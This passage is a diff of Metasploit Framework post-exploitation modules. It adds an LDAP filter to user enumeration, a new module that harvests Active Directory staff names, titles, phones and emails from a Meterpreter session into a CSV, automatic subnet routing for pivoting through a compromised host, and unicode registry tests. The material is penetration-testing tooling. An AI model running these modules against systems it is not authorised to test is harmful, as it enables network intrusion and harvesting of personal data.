OptBool.new('EXCLUDE_DISABLED', [true, 'Exclude from search disabled accounts.', false]),
OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]),
OptString.new('FILTER', [false, 'Customised LDAP filter', nil]),
OptString.new('GROUP_MEMBER', [false, 'Recursively list users that are effectve members of the group DN specified.', nil]),
OptEnum.new('UAC', [true, 'Filter on User Account Control Setting.', 'ANY',
[
@ -146,6 +147,7 @@ class MetasploitModule < Msf::Post
inner_filter << '(!(lockoutTime>=1))' if datastore['EXCLUDE_LOCKED']
inner_filter << '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' if datastore['EXCLUDE_DISABLED']
inner_filter << "(memberof:1.2.840.113556.1.4.1941:=#{datastore['GROUP_MEMBER']})" if datastore['GROUP_MEMBER']
inner_filter << "(#{datastore['FILTER']})" if datastore['FILTER'] != ""
case datastore['UAC']
when 'ANY'
when 'NO_PASSWORD'

View File

@ -0,0 +1,106 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex'
require 'msf/core'
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::LDAP
def initialize(info = {})
super(update_info(
info,
'Name' => 'Generate CSV Organizational Chart Data Using Manager Information',
'Description' => %(
This module will generate a CSV file containing all users and their managers, which can be
imported into Visio which will render it.
),
'License' => MSF_LICENSE,
'Author' => [
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options([
OptBool.new('WITH_MANAGERS_ONLY', [true, 'Only users with managers', false]),
OptBool.new('ACTIVE_USERS_ONLY', [true, 'Only include active users (i.e. not disabled ones)', true]),
OptBool.new('STORE_LOOT', [true, 'Store the organizational chart information in CSV format in loot', true]),
OptString.new('FILTER', [false, 'Additional LDAP filter to use when searching for users', ''])
], self.class)
end
def run
max_search = datastore['MAX_SEARCH']
user_fields = ['cn', 'manager', 'description', 'title', 'telephoneNumber', 'department', 'division', 'userPrincipalName', 'company']
begin
qs = []
qs << '(objectCategory=person)'
qs << '(objectClass=user)'
qs << '(!userAccountControl:1.2.840.113556.1.4.803:=2)' if datastore['ACTIVE_USERS_ONLY']
qs << '(manager=*)' if datastore['WITH_MANAGERS_ONLY']
qs << "(#{datastore['FILTER']})" if datastore['FILTER'] != ""
query_string = "(&(#{qs.join('')}))"
vprint_status("Executing #{query_string}")
q = query(query_string, max_search, user_fields)
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
# Can't bind or in a network w/ limited accounts
print_error(e.message)
return
end
if q.nil? || q[:results].empty?
print_status('No results returned.')
else
user_fields << 'reports_to'
results_table = parse_results(q[:results])
print_line results_table.to_s
if datastore['STORE_LOOT']
stored_path = store_loot('ad.orgchart', 'text/csv', session, results_table.to_csv)
print_status("CSV Organisational Chart Information saved to: #{stored_path}")
end
end
end
# Takes the results of LDAP query, parses them into a table
def parse_results(results)
results_table = Rex::Ui::Text::Table.new(
'Header' => "Users & Managers",
'Indent' => 1,
'SortIndex' => -1,
'Columns' => ['cn', 'description', 'title', 'phone', 'department', 'division', 'e-mail', 'company', 'reports_to']
)
results.each do |result|
row = []
result.each_with_index do |field, idx|
next if idx == 1 # Don't include the manager DN
if field.nil?
row << ""
else
row << field[:value]
end
end
# Parse the manager CN string to grab the CN= field only.
# Note that it needs the negative lookbehind to avoid escaped characters.
reports_to = /^CN=(?<cn>.+?),(?<!\\,)/.match(result[1][:value])
if reports_to.nil?
row << ""
else
row << reports_to['cn'].gsub('\,', ',')
end
results_table << row
end
results_table
end
end

View File

@ -15,7 +15,8 @@ class MetasploitModule < Msf::Post
'Name' => 'Windows Manage Network Route via Meterpreter Session',
'Description' => %q{This module manages session routing via an existing
Meterpreter session. It enables other modules to 'pivot' through a
compromised host when connecting to the named NETWORK and SUBMASK.},
compromised host when connecting to the named NETWORK and SUBMASK.
Autoadd will search session for valid subnets and route to them.},
'License' => MSF_LICENSE,
'Author' => [ 'todb'],
'Platform' => [ 'win' ],
@ -26,7 +27,7 @@ class MetasploitModule < Msf::Post
[
OptString.new('SUBNET', [false, 'Subnet (IPv4, for example, 10.10.10.0)', nil]),
OptString.new('NETMASK', [false, 'Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"', '255.255.255.0']),
OptEnum.new('CMD', [true, 'Specify the autoroute command', 'add', ['add','print','delete']])
OptEnum.new('CMD', [true, 'Specify the autoroute command', 'autoadd', ['add','autoadd','print','delete']])
], self.class)
end
@ -58,6 +59,8 @@ class MetasploitModule < Msf::Post
print_status("Adding a route to %s/%s..." % [datastore['SUBNET'],netmask])
add_route(:subnet => datastore['SUBNET'], :netmask => netmask)
end
when :autoadd
autoadd_routes
when :delete
if datastore['SUBNET']
print_status("Deleting route to %s/%s..." % [datastore['SUBNET'],netmask])
@ -156,6 +159,49 @@ class MetasploitModule < Msf::Post
Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session)
end
def is_routable?(route)
if route.subnet =~ /^224\.|127\./
return false
elsif route.subnet =~ /[\d\.]+\.0$/
return false
elsif route.subnet == '0.0.0.0'
return false
elsif route.subnet == '255.255.255.255'
return false
end
true
end
# This function will search for valid subnets on the target and attempt
# add a route to each. (Operation from auto_add_route plugin.)
#
# @return [void] A useful return value is not expected here
def autoadd_routes
switch_board = Rex::Socket::SwitchBoard.instance
print_status("Searching for subnets to autoroute.")
found = false
session.net.config.each_route do | route |
next unless is_routable?(route)
if !switch_board.route_exists?(route.subnet, route.netmask)
begin
netmask = route.netmask == '255.255.255.255' ? '255.255.255.0' : route.netmask
if Rex::Socket::SwitchBoard.add_route(route.subnet, netmask, session)
print_good("Route added to subnet #{route.subnet}/#{netmask}")
found = true
else
print_error("Could not add route to subnet #{route.subnet}/#{netmask}")
end
rescue ::Rex::Post::Meterpreter::RequestError => error
print_error("Could not add route to subnet #{route.subnet}/(#{netmask})")
print_error(error.to_s)
end
end
end
print_status("Did not find any new subnets to add.") if !found
end
# Validates the command options
def validate_cmd(subnet=nil,netmask=nil)

View File

@ -126,7 +126,6 @@ class MetasploitModule < Msf::Post
ret
end
it "should write REG_DWORD values" do
ret = true
registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD")
@ -154,6 +153,41 @@ class MetasploitModule < Msf::Post
ret
end
it "should create unicode keys" do
ret = registry_createkey(%q#HKCU\σονσλυσιονεμκυε#)
end
it "should write REG_SZ unicode values" do
ret = true
registry_setvaldata(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str", "дэлььякатезшимя", "REG_SZ")
registry_setvaldata(%q#HKCU\σονσλυσιονεμκυε#, "test_val_dword", 1234, "REG_DWORD")
valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str")
if (valinfo.nil?)
ret = false
else
# type == REG_SZ means string
ret &&= !!(valinfo["Type"] == 1)
ret &&= !!(valinfo["Data"].kind_of? String)
ret &&= !!(valinfo["Data"] == "дэлььякатезшимя")
end
ret
end
it "should delete unicode keys" do
ret = registry_deleteval(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str")
valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str")
# getvalinfo should return nil for a non-existent key
ret &&= (valinfo.nil?)
ret &&= registry_deletekey(%q#HKCU\σονσλυσιονεμκυε#)
# Deleting the key should delete all its values
valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_dword")
ret &&= (valinfo.nil?)
ret
end
end
end